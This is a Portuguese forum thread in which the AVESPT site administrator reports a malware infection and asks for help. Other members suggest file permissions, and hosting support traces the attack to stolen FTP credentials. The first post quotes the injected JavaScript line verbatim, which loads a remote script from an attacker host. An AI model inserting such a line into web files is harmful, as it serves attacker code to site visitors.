Vírus (malware) - acessos AVESPT

[AvesPT]

Boa noite,

Infelizmente... informamos que o acesso a alguns sites AVESPT pode estar condicionado, devido a um "Malware".
Dependendo dos navegadores web que estejam a utilizar, pode ser mostrado um alerta de Vírus que recomenda a não aceder ao site.
Esta situação tem sido frequente nos últimos tempos e estamos com dificuldade em resolver, pois ainda não foi possível identificar com rigor a origem do problema.

Estamos a fazer os possíveis para resolver isto de uma vez por todas, apesar de não termos ainda confirmação de que o Malware esteja nos computadores de acesso ao AVESPT ou se é algum acesso externo de infiltração.

Para os eventuais visitantes do fórum, que sejam conhecedores destes assuntos e tenham alguma coisa a sugerir, agradecemos.

O dito "Malware" altera no servidor os ficheiros .js e adiciona o seguinte código:

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Debug.js"></scr'+'ipt>');

Aquilo que se tem feito para remediar esta solução, é editarmos todos os ficheiros .js dos sites AVESPT e removermos esta linha de código que faz com que os browsers enviem um alerta sobre a possibilidade de vírus.

Agradecemos a vossa compreensão.

Cumprimentos,
José Veiga
AVESPT

[rnsilva]

Bom dia,

Bem, não conheço o virus nem faço ideia como executa, mas de primeira instância só me vem isto à cabeça.
Já experimentou remover as permissões de escrita dos ficheiros js, mesmo de root? Para correr bastaria permitir o ler(400) e executar(500) para o utilizador.
Experimente fazer um chmod 500 *.js.

De qualquer modo acho estranho o malware ter permissões de escrita. Isso indica que deve estar a executar a partir da conta do administrador (caso os js estejam com as permissões correctas).

[AvesPT]

Boa noite Ricardo,

Ontem contactei o suporte de alojamento (novamente) e tive hoje a resposta.
O malware utiliza as definições dos acessos por FTP, copiando o nome de utilizador e password. Depois utiliza-os para acrescentar informações aos ficheiros. Ou seja, a questão das permissões de escrita para esta situação não iriam funcionar... apenas funcionavam se fosse um vírus no próprio servidor (situação muito difícil de acontecer).

A solução neste momento passa por alterar as passwords de acesso ao servidor...
Por enquanto o malware não conseguirá aceder até que consiga descobrir as novas passwords.

Entretanto terei de o remover do PC de acesso, que aparentemente está limpo, mas vou ter que me certificar com outras ferramentas.

Agradecemos a atenção

Igualmente para o amigo Armindo Tavares pela atenção que teve

Cumprimentos,
José Veiga